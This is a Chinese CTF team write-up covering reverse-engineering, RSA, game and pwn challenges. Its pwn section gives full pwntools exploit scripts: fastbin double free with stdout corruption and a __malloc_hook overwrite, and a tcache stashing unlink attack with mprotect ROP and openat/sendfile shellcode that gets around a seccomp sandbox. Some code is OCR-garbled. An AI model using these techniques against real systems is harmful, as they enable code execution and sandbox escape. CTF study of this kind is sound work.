KKnideflag战队 WriteUp

排名

KKnideflag: 第2名



解题思路

> REVERSE

ezPotato

两个框分别输入"1wesa234"和"qwe123998244353",动态调试发现是和第一个字符串异或

```
cmp = [0x0000007D, 0x0000002D, 0x00000036, 0x00000037, 0x00000032, 0x00000049,
0x00000073, 0x0000006B, 0x000000047, 0x000000044, 0x00000017, 0x0000000A,
0x0000003E, 0x00000044, 0x00000056, 0x00000046, 0x00000048, 0x00000028,
0x00000024, 0x00000011, 0x00000052, 0x00000046, 0x00000041, 0x00000074,
0x00000052, 0x00000003, 0x0000003A, 0x00000023, 0x00000051, 0x00000046,
0x00000073, 0x00000040, 0x0000005E, 0x00000028, 0x00000022, 0x00000006,
0x00000018, 0x0000004F]
s = "lwesa234"
flag = ""
for i in range(len(cmp)):
    flag += chr(cmp[i]^ord(s[i%len(s)]))
print(flag)
```

HelloHarmony

先找到libentry.so反编译,逆向代码如下

```
out = [0xF6, 0xB0, 0xA6, 0x36, 0x9A, 0xB3, 0x2B, 0xBF, 0x94, 0x54, 0x15, 0x97,
0x93, 0x59, 0xBF, 0x50, 0x4D, 0xBF, 0x0A, 0x59, 0x06, 0xD7, 0x97, 0x50, 0xD6,
0x59, 0x54, 0xD7, 0xCF, 0x06, 0x5D, 0x20, 0x1D, 0x5A, 0x22, 0xEE, 0x99, 0x1F,
0xE1, 0x18]
print(len(out))
key = 'HelloSDS'
s = []
for i in range(256):
    s.append((i*167+173)%256)
print(s)
key_list = []
for i in range(8):
    key_list.append(ord(key[(i+3)%len(key)]) | (ord(key[(i+2)%len(key)]) << 8) |
(ord(key[(i+1)\%len(key)]) << 16) | (ord(key[(i)\%len(key)]) << 24))
print(key_list, len(key_list))
for i in range(7, -1, -1):
    tmp = out[39]
    for j in range(38, -1, -1):
        out[j+1] = out[j]
    out[0] = tmp
    for j in range(40):
        out[j] = s.index(out[j])
    out[0] \land = (key_list[i]\&0xff)
    out[1] \land = ((key_list[i] >> 8) \& 0xff)
    out[2] \wedge= ((key_list[i]>>16)&0xff)
    out[3] \wedge = ((key_list[i] >> 24) \& 0xff)
    out[4] \wedge = (key_list[i] \& 0xff)
    out[5] \wedge = ((key_list[i] >> 8) \& 0xff)
    out[6] \wedge = ((key_list[i] >> 16) \& 0xff)
    out[7] \wedge = ((key_list[i] >> 24)\&0xff)
print("".join(map(chr, out)))  # QEXIX{f0b_4y3_4_t4573y_0m_jyfw706y4wof}
```

发现很像flag格式且是移位加密, flag内外不一样, cyberchef一个个试即可

loser

很明显是个tea加密,难点是找到换表,我是一个个试出来的

```
import struct
from ctypes import c_uint32

s = [0x000000045, 0x000000064, 0x00000009F, 0x000000004, 0x000000039, 0x000000087,
0x000000046, 0x000000017, 0x000000022, 0x00000000D, 0x000000026, 0x00000004D,
0x0000007D, 0x00000010, 0x00000082, 0x0000000B, 0x00000085, 0x0000000B,
0x00000027, 0x00000039, 0x000000042, 0x0000003C, 0x00000001E, 0x000000045,
0x00000022, 0x0000000D, 0x00000026, 0x00000004D, 0x0000007D, 0x000000010,
0x00000082, 0x0000000B, 0x0000000B, 0x000000037, 0x000000088, 0x00000080,
0x0000000B1, 0x0000000F9, 0x000000015, 0x000000019, 0x000000044, 0x000000018,
0x000000042, 0x000000024, 0x00000008F, 0x000000078, 0x000000002c]
v = []
```

```
for i in range(0, len(s), 4):
    # v.append(s[i]+(s[i+1]<<8)+(s[i+2]<<16)+(s[i+3]<<24))
    v.append(s[i+3]+(s[i+2]<<8)+(s[i+1]<<16)+(s[i]<<24))
print(list(map(hex, v)))
def tea_encrypt(r, v, key, delta):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    total = c\_uint32(0xC6EF3720)
    for i in range(r):
        v1.value \rightarrow ((v0.value \rightarrow 4) + key[2]) \land (v0.value + total.value) \land
((v0.value >> 5) + key[3])
        v0.value = ((v1.value << 4) + key[0]) \land (v1.value + total.value) \land
((v1.value >> 5) + key[1])
        total.value += delta
    return v0.value, v1.value
def tea_decrypt(r, v, key, delta):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    total = c_uint32(0xC6EF3720+delta * r)
    for i in range(r):
        total.value -= delta
        v0.value += ((v1.value << 4) + key[0]) \land (v1.value + total.value) \land
((v1.value >> 5) + key[1])
        v1.value += ((v0.value << 4) + key[2]) \land (v0.value + total.value) \land
((v0.value >> 5) + key[3])
    return v0.value, v1.value
k = [0x0000004c, 0x0000005A, 0x00000053, 0x00000044]
for i in range(len(v)):
    v[i] \land = 0x53
delta = 0x61C88647
for i in range(0, len(v), 2):
    v[i:i+2] = tea\_decrypt(32, v[i:i+2], k, delta)
print(list(map(hex, v)))
str_list = []
for i in range(len(v)):
    str_list.append(struct.pack('<I', v[i]).decode())</pre>
print('decrypted: %s' % ''.join(str_list))
out = ''.join([i[0]+i[2]+i[1] for i in str_list])
table = "hijklmnopqrstuvwxyz0123456BCDEFGHIJKLMNOPQRSTUVWXYZawxyz01234579fh"
tabl1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!'
flag = ""
for i in range(len(out)):
    try:
        flag += tabl1[table.index(out[i])]
    except:
        flag += " "
print(flag)
# LZSDS{how_how_how_how_ow_ow_owa}
```

Map_Maze

先是动态调试导出地图值, 然后BFS求路径

```
0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1,
1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1,
1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0,
1, 1, 1, 1,
1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,
1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0]
for i in range(224):
   if i % 15 == 0:
       print()
   print(maze[i], end=", ")
print()
# https://blog.csdn.net/qq_62074533/article/details/134780682
maze = \Gamma
   0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1,
   1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,
   1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1,
   1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1,
   1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1,
   1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1,
   1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1,
   1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1,
   1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1,
   1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1,
   1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1,
   1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1,
   1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1,
   1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 2
٦
width = 15
height = 15
print(width, height)
visited = [0] * (width * height) # 记录访问过的点
def BFS(maze, x, y):
   queue = [(x, y, '')] # 设置队列, bfs用队列, dfs用栈
   while queue:
      x, y, path = queue.pop(0)
```

```
if x < height and y < width and x >= 0 and y >= 0 and visited[x * width + y] != 1:
    visited[x * width + y] != 1 # 证明已经访问过了
    queue.append((x + 1, y, path + 'D')) # 只能字符串相加
    queue.append((x, y - 1, path + 'L'))
    queue.append((x, y + 1, path + 'R'))
    queue.append((x - 1, y, path + 'U'))

else:
    continue

if maze[x * width + y] == 2:
    return path

flag = BFS(maze, 0, 0)

print(flag, len(flag))
```

最后md5即可

super panda girl

unity游戏直接找csharp.dll,把关键函数找出来

```
private string GetEvenCharacters(string input)
{
    StringBuilder stringBuilder = new StringBuilder();
    for (int i = 0; i < input.Length; i += 2)</pre>
    {
        stringBuilder.Append(input[i]);
    return stringBuilder.ToString();
}
private string code(string text)
{
    return Convert.ToBase64String(Encoding.UTF8.GetBytes(text));
}
public void VerifyPassword()
{
    string text = this.inputField.text;
    if (!this.pandaKey.ssSs5s5s5(text))
    {
        this.ShowIncorrectPasswordUI();
        return;
    string str = this.code(this.GetEvenCharacters(text));
    this.ShowCorrectPasswordUI("LZSDS{" + str + "}");
}
using System;
using System.Text;
```

```
using UnityEngine;
// Token: 0x02000004 RID: 4
public class s5Ss55s5s5s5s5s : MonoBehaviour
{
    // Token: 0x06000009 RID: 9 RVA: 0x0000214C File Offset: 0x0000034C
    public bool ssSSs5s5s5(string SSS55sSS)
    {
        byte[] s555s5s = this.ssS5sss5s(SSS55sSS, "LZSDS");
        return this.CompareArrays(s555s5s, this.sssss55s);
    }
    // Token: 0x0600000A RID: 10 RVA: 0x00002174 File offset: 0x00000374
    private byte[] sss5sss5s(string sss5ss5s5, string ssss5s5s5)
    {
        int length = S5SSS5s5.Length;
        int length2 = sSs5s5s5.Length;
        byte[] bytes = Encoding.UTF8.GetBytes(sSs5s5s5);
        byte[] array = new byte[256];
        byte[] array2 = new byte[length2];
        for (int i = 0; i < 256; i++)
        {
            array[i] = (byte)i;
        }
        int num = 0;
        for (int j = 0; j < 256; j++)
            num = (num + (int)array[j] + (int)S5SSS5s5[j % length]) % 256;
            byte b = array[j];
            array[j] = array[num];
            array[num] = b;
        }
        int num2 = 0;
        int num3 = 0;
        for (int k = 0; k < length2; k++)
        {
            num2 = (num2 + 1) \% 256;
            num3 = (num3 + (int)array[num2]) % 256;
            byte b2 = array[num2];
            array[num2] = array[num3];
            array[num3] = b2;
            byte b3 = (byte)((int)(array[num2] + array[num3]) \% 256);
            array2[k] = (bytes[k] \land b3);
        }
        return array2;
    }
    // Token: 0x0600000B RID: 11 RVA: 0x00002274 File Offset: 0x00000474
    private bool CompareArrays(byte[] s555s5s, byte[] s5sSss5s)
    {
```

```
if (s555s5s.Length != s5sSss5s.Length)
        {
            return false;
        }
        for (int i = 0; i < s555s5s.Length; i++)
           if (s555s5s[i] != s5sSss5s[i])
           {
               return false;
            }
       }
       return true;
    }
    // Token: 0x04000007 RID: 7
    private const string S5SSS5s5 = "LZSDS";
    // Token: 0x04000008 RID: 8
    private readonly byte[] sssss55s = new byte[]
    {
       57,
       244,
       117,
        200,
       213,
       87,
       194,
       195,
       164,
       100,
       103,
       63,
       19,
       79,
       137,
       70,
       201,
       24,
       163,
       129,
       237,
        210,
        5,
       19,
        35,
        21
   };
}
```

```
text = [57,
       244,
       117,
        200,
        213,
        87,
        194,
        195,
       164,
       100,
       103,
        63,
        19,
       79,
       137,
        70,
        201,
       24,
       163,
       129,
        237,
       210,
        5,
        19,
        35,
        21]
key = b"LZSDS"
def KSA(key):
   """ Key-Scheduling Algorithm (KSA) 密钥调度算法"""
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i \% len(key)]) \% 256
        S[i], S[j] = S[j], S[i]
    return S
def PRGA(S):
   """ Pseudo-Random Generation Algorithm (PRGA) 伪随机数生成算法"""
   i, j = 0, 0
    while True:
       i = (i + 1) \% 256
        j = (j + S[i]) \% 256
        S[i], S[j] = S[j], S[i]
        K = (S[i] + S[j]) \% 256
       yield K
```

```
def RC4(key, text):
    """ RC4 encryption/decryption """
    S = KSA(key)
    keystream = PRGA(S)
    res = []
    for char in text:
        res.append(char ^ next(keystream))
    return bytes(res)

out = RC4(key, text).decode()
flag = ""
for i in range(0, len(out), 2):
    flag += out[i]
from base64 import b64encode
print("LZSDS{"+b64encode(flag.encode()).decode()+"}")
```

> CRYPTO

xorsa

p、q直接给

```
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, gcd, iroot
c =
137605787298911270410982294312599611202164689487957323739755364177512224430698
103071751165741784288230438170419562075032992207210421365158639796555782104995
12044917781566303947681251248645504273995402630701480590505840473412765662
n =
142470382118213852097590672568462322274441631730991990852577903705904507496652
065561633647542691822553580849483543458278989872347566621339746331170629023708\\
118554666653517840271253331126630750853956765011217597866997201490985764331418
17737564928779420725539793335830274229206316999461309927000523188222801659
hint1 =
893853861996173139971601666547056408498624388039492891848237429581450935338236
4651201249532111268951793354572124324033902502588541297713297622432670722730
149329815524347483732009284932575038775951964387938860920831449400060555402063
q = hint2
p = n // q
phi = (p-1)*(q-1)
e=2026
gongyue = gcd(phi, e)
d = invert(e // gongyue, phi)
m = pow(c, d, n)
```

```
m = iroot(m, gongyue)[0]
print(long_to_bytes(m))
```

> MISC

神奇的硬币纺纱机

- 1.通过nc访问游戏
- 2.判断为硬币达到一定数量即可获得flag
- 3.每次只选择不投币, 多次选择后获得2107枚硬币, 得到flag

```
[i] 这次你俩都没投币哦。(尚余 567)
[?] (567a93) 投币吗 <10?i>: 0
[i] 诶 , 对 方 投 币 了 , 你 成 功 拿 到 了 90 枚 硬 币 ! (尚 余 657)
[?] (657a94) 投币吗 <10?i>: 0
[i] 诶 , 对方投币了 , 你成功拿到了 90 枚硬币!(尚余 747)
[?] (747a95) 投币吗 <10?i>: 0
[i] 诶,对方投币了,你成功拿到了 90 枚硬币!(尚余 837)
[?] (837a96) 投币吗 <10?i>: 0
[i] 诶 , 对方投币了 , 你成功拿到了 90 枚硬币!(尚余 927)
[?] (927a97) 投币吗 <10?i>: 0
[i] 诶 ,对方投币了 ,你成功拿到了 90 枚硬币!(尚余 1017)
[?] (1017a98) 投币吗 <10?i>: 0
[i] 诶 , 对方投币了 , 你成功拿到了 90 枚硬币!(尚余 1107)
[i] 你愿意为了 flag,尽全力一搏吗?
[i] 记住这个数字:3 / 96
[?] (1107a)99) 投币吗 <10?i>: 0
[i] 诶 , 对方投币了 , 你成功拿到了 1000 枚硬币!(尚余 2107)
[i] 恭喜你过关了!
[i] 你最终获得了 2107 枚硬币。
[i] 这是你的 flag: "" agg a war be a sept a book of the company of th
```

Elemental Wars

- 1.通过nc访问游戏
- 2.选择相克属性会失去生命,选择相生属性会恢复生命
- 3.选择暴力破解,随机选择,多次选择后赢得游戏胜利得到flag

> pwn

no_leak_heap

gift给出了堆的尾地址,也就是得到了堆地址,2.23的题目,没有tcache,没有show,没有edit,但还是打IO_leak就可以了,不过要麻烦一点,先到unsortedbin中,然后通过申请fastbin大小的来劫持残留的main_arena地址,这个地址是 __IO_2_1_stdout_ 的fakechunk,劫持成功后使用一次fastbin的double free,add一个,就是刚刚用来劫持的chunk,这样就把fakechunk加入fastbin中了,申请几次,把他申请出来,就可以打 __IO_2_1_stdout_ 了,就得到了libc,得到libc以后就简单了,malloc_hook打后门就好了

```
from pwn import *
from LibcSearcher import *
from ae64 import AE64
from ctypes import cdll
filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
    sh = process(filename)
    sh = remote('node5.buuoj.cn', )
def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
```

```
pause()
choice_words = '>>> '
menu\_add = 1
add_index_words = 'idx???'
add_size_words = 'size???'
add_content_words = 'content???'
menu_del = 2
del_index_words = 'idx???'
def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)
def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))
def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
def pwn():
    sh.recvuntil(b'gift:')
    gift=int(sh.recvuntil(b'\n',drop=True),16)
    print(hex(gift))
    heap=gift-0x21000
    add(index=0, size=0x4f0, content=b's')
    add(index=1, size=0x68, content=b'a')
    add(index=2, size=0x68, content=b'a')
    add(index=3,size=0x68,content=b'a')
    add(index=4, size=0x68, content=b'a')
    delete(index=0)
    add(index=5,size=0x68,content=b'\xdd\x25')
    delete(index=2)
    delete(index=3)
    delete(index=2)
```

```
add(index=6, size=0x68, content=p64(heap+0x20))
    add(index=1, size=0x68, content=b'a')
    add(index=1, size=0x68, content=b'a')
    add(index=1, size=0x68, content=b'a')
    # 0x7ffff7dd25dd
    add(index=7,size=0x68,content=b'a'*0x33+p64(0xfbad1887)+p64(0)*3+b'\\x00')
    libc.address=u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x3c5600
    leak_info('libc.address',libc.address)
    if libc.address&0xfff!=0:
        exit(0)
    malloc_hook=libc.sym['__malloc_hook']
    add(index=7, size=0x68, content=b'a')
    add(index=8, size=0x68, content=b'a')
    add(index=9, size=0x68, content=b'a')
    delete(index=7)
    delete(index=8)
    delete(index=7)
    leak_info('malloc_hook', malloc_hook)
    fake_chunk=libc.address+0x3c4aed
    add(index=10, size=0x68, content=p64(fake_chunk))
    add(index=7, size=0x68, content=b'a')
    add(index=7, size=0x68, content=b'a')
    backdoor=0x400AA6
    add(index=7,size=0x68,content=b'a'*0x13+p64(backdoor))
    sh.sendlineafter(choice_words, str(menu_add))
    sh.sendlineafter(add_index_words, str(1))
    sh.sendlineafter(add_size_words, str(1))
    sh.interactive()
while True:
    try:
        # sh = process(filename)
        sh=remote('gamebox.yunyansec.com',11863)
        pwn()
    except:
        sh.close()
```

small stmashing

首先有一个沙箱,禁用了open和execve

```
welcome shu dao shan ctf
hope you can enjoy the game
this challenge is about Tcache Stashing Unlink Attack
line CODE JT
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e
                                if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
                                 if (A != 0xffffffff) goto 0008
0004: 0x15 0x00 0x03 0xffffffff
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000
                                 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
```

add用的calloc

```
}
*((_QWORD *)&ptr + i) = calloc(1uLL, size);
sizes[i] = size;
return printf("Add Ptr: %p\n", *((const void **)&ptr + i));
```

题目又说了smallbin, unlink这些提示,那很明显就是一道打tcache stash unlink的题目了,且有一个后门函数,可以栈溢出,但需要控制变量nbytes,所以完美符合tcache stash unlink的要求,利用tcache stash unlink给nbytes处写一个大值,就可以打栈溢出来rop了

先进unsortedbin泄露libc,然后分两次,把大小为0x100的chunk打到smallbin,再在tcache中准备好6个0x100的chunk,修改第二个smallbin的bk,指向&nbytes-0x10,再calloc一次一样的大小的,就打成功了,后面我用的事使用mprotec的rop来修改bss的权限,再在bss上写shellcode,用openat+sendfile实现沙箱的绕过

给出exp:

```
from pwn import *
from LibcSearcher import *
from ae64 import AE64
from ctypes import cdll
filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
    sh = process(filename)
else:
    sh = remote('gamebox.yunyansec.com',61492 )
def debug(parma=''):
    for an_log in all_logs:
```

```
success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()
choice_words = 'choice:'
menu\_add = 1
add_index_words = ''
add_size_words = 'size:'
add_content_words = ''
menu_del = 2
del_index_words = 'Idx:'
menu\_show = 4
show_index_words = 'Idx:'
menu\_edit = 3
edit_index_words = 'Idx:'
edit_size_words = ''
edit_content_words = 'Content:'
def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)
    sh.recvuntil('Add Ptr: ',drop=True)
    ptr=int(sh.recvuntil(b'\n',drop=True),16)
    print(hex(ptr))
    return ptr
def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
```

```
if edit_size_words:
                       sh.sendlineafter(edit_size_words, str(size))
           if edit_content_words:
                       sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
           output_log = '{} => {}'.format(name, hex(addr))
           all_logs.append(output_log)
           success(output_log)
nbytes=0x4040C0
heap=add(size=0x260)-0x1480
add(size=0x270)
add(size=0x280)
for i in range(8):
           add(size=0xf0)
for i in range(3,9):
           delete(index=i)
delete(index=0)
for i in range (6):
           edit(index=0,content=p64(0)*2)
           delete(index=0)
edit(index=0,content=p64(heap+0x1480)+p64(0))
delete(index=0)
show(index=0)
libc.address=u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
leak_info('libc.address',libc.address)
add(size=0x160)
add(size=0x300)
delete(index=2)
for i in range (6):
           edit(index=2,content=p64(0)*2)
           delete(index=2)
edit(index=2,content=p64(heap+0x1970)+p64(0))
delete(index=2)
add(size=0x180)
add(size=0x300)
edit(index=0,content=b'a'*0x160+p64(0)+p64(0x101)+p64(libc.address+0x1eccd0)+p
64(nbytes-0x10))
edit(index=2,content=b'a'*0x180+p64(0)+p64(0x101)+p64(heap+0x15e0)+p64(nbytes-p64(0x101)+p64(neap+0x15e0)+p64(nbytes-p64(0x101)+p64(neap+0x15e0)+p64(nbytes-p64(0x101)+p64(neap+0x15e0)+p64(nbytes-p64(0x101)+p64(neap+0x15e0)+p64(nbytes-p64(neap+0x15e0)+p64(neap+0x15e0)+p64(nbytes-p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(nbytes-p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64(neap+0x15e0)+p64
0x10))
add(size=0xf0)
bss_start=0x404000
```

```
bss=0x404500
pop_rdi_ret=0x23b6a+libc.address
pop_rsi_ret=0x2601f+libc.address
pop_rdx_r12_ret=0x119431+libc.address
pop_rax_ret=0x036174+libc.address
syscall_ret=0x630a9+libc.address
rop_c = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_r12_ret) + 
64(0x200)+p64(0)+p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
rop_c+=p64(pop_rdi_ret)+p64(bss_start)
rop_c+=p64(pop_rsi_ret)+p64(0x1000)
rop_c+=p64(pop_rdx_r12_ret)+p64(7)+p64(0)
rop_c+=p64(pop_rax_ret)+p64(10)
rop_c+=p64(syscall_ret)+p64(bss)#mprotec
# debug('b *0x4016A9')
sh.sendlineafter(choice_words, str(5))
sh.send(b'a'*0x38+rop_c)
sleep(0.1)
shellcode=asm(shellcraft.openat(0,'/flag',0,0))
shellcode+=asm(shellcraft.sendfile(1,3,0,0x100))
sh.send(shellcode)
sh.recvall()
# pause()
```